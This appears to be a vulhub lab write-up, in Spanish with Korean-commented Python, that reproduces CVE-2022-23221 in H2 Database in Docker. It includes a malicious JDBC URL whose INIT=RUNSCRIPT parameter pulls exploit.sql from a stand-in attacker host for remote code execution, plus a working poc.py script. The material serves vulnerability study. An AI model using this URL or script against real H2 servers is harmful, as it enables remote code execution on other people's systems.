
vulhub/H2-database/CVE-2022-23221
Referencia: https://nvd.nist.gov/vuln/detail/cve-2022-23221
H2 es un sistema de gestión de bases de datos relacionales que proporciona la capacidad de compilar y ejecutar código Java directamente dentro del motor SQL.
El controlador H2 analiza las URLs JDBC para establecer la conexión entre la aplicación y la base de datos. En este proceso, los parámetros de configuración incluidos en la URL permiten controlar el estado inicial o el comportamiento de la base de datos.
En las versiones anteriores a H2 2.1.210 existe un problema: a través del parámetro INIT de la URL JDBC se puede ejecutar un script SQL remoto. Un atacante puede explotar esto para inyectar un script SQL manipulado de forma remota y, mediante las sentencias dentro de él, ejecutar comandos del sistema, lo que provoca la vulnerabilidad CVE-2022-23221.
Las características de esta vulnerabilidad son las siguientes:
Alcance de la vulnerabilidad
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql'.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> Bypass de configuración de seguridad
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> Comando SQL que se ejecuta automáticamente al conectar la aplicación con la base de datos
CREATE ALIAS.
CREATE ALIAS dentro del script que se ejecutará de forma remota hace que H2 ejecute funciones Java del script dentro de la base de datos, resultando en una RCE.Escenario
id, whoami, pwd, esto significa que el entorno H2 vulnerable ha sido configurado y que, durante el análisis de la URL JDBC maliciosa, el archivo exploit.sql fue descargado remotamente desde el servidor atacante y ejecutado.Configuración del entorno
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : proporciona el archivo exploit.sqlDespués de la configuración, al acceder a http://your-ip:8082, aparece la página web de H2.
: Dado que en la consola web se aplican políticas de seguridad que pueden filtrar los parámetros que constituyen la condición de vulnerabilidad, se introduce directamente la URL JDBC que contiene los parámetros maliciosos a través de la CLI para reproducir la vulnerabilidad y verificar el resultado.
URL JDBC normal: "jdbc:h2:mem:test"
Comando de solicitud normal
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Resultado de la ejecución

Se introduce la URL JDBC maliciosa en el controlador H2 para intentar la conexión con el servidor atacante. Hay dos formas de ingresar la URL.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 solicita el archivo exploit.sql al servidor atacante (HTTP GET) según lo especificado en el parámetro INIT de la URL JDBC: INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql', y lo ejecuta dentro de la base de datos H2.
docker logs attacker se pueden ver los registros de solicitud del archivo exploit.sql provenientes del servidor h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
Como resultado de la ejecución del archivo exploit.sql, en los registros del servidor h2-vulnerable aparece la cadena “EXPLOITED” junto con los resultados de la ejecución de los comandos id, whoami, pwd.
Se pueden verificar los registros con docker logs h2-vulnerable.
docker logs h2-vulnerable`

=> Esto significa que el entorno vulnerable de h2 ha sido configurado y que, durante el análisis de la URL JDBC maliciosa, la descarga remota y ejecución del archivo han tenido éxito.